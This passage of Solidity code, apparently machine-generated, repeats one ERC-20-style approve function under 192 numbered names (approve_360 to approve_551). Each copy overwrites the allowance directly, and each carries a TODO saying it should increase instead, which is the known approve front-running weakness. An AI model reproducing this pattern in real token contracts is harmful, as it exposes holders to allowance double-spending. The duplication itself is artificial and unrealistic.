function approve_360(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_361(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_362(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_363(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_364(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_365(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_366(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_367(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_368(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_369(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_370(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_371(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_372(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_373(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_374(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_375(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_376(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_377(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_378(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_379(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_380(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_381(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_382(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_383(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_384(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_385(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_386(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_387(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_388(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_389(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_390(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_391(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_392(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_393(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_394(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_395(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_396(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_397(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_398(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_399(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_400(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_401(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_402(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_403(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_404(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_405(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_406(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_407(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_408(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_409(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_410(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_411(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_412(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_413(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_414(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_415(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_416(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_417(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_418(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_419(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_420(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_421(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_422(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_423(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_424(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_425(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_426(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_427(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_428(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_429(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_430(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_431(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_432(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_433(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_434(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_435(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_436(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_437(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_438(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_439(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_440(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_441(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_442(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_443(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_444(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_445(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_446(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_447(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_448(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_449(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_450(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_451(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_452(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_453(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_454(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_455(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_456(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_457(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_458(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_459(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_460(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_461(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_462(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_463(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_464(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_465(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_466(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_467(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_468(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_469(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_470(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_471(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_472(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_473(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_474(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_475(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_476(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_477(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_478(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_479(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_480(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_481(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_482(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_483(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_484(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_485(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_486(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_487(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_488(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_489(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_490(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_491(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_492(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_493(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_494(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_495(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_496(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_497(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_498(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_499(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_500(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_501(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_502(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_503(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_504(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_505(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_506(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_507(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_508(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_509(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_510(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_511(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_512(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_513(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_514(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_515(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_516(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_517(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_518(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_519(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_520(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_521(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_522(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_523(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_524(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_525(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_526(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_527(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_528(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_529(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_530(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_531(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_532(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_533(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_534(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_535(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_536(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_537(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_538(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_539(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_540(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_541(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_542(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_543(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_544(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_545(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_546(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_547(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_548(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_549(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_550(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_551(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
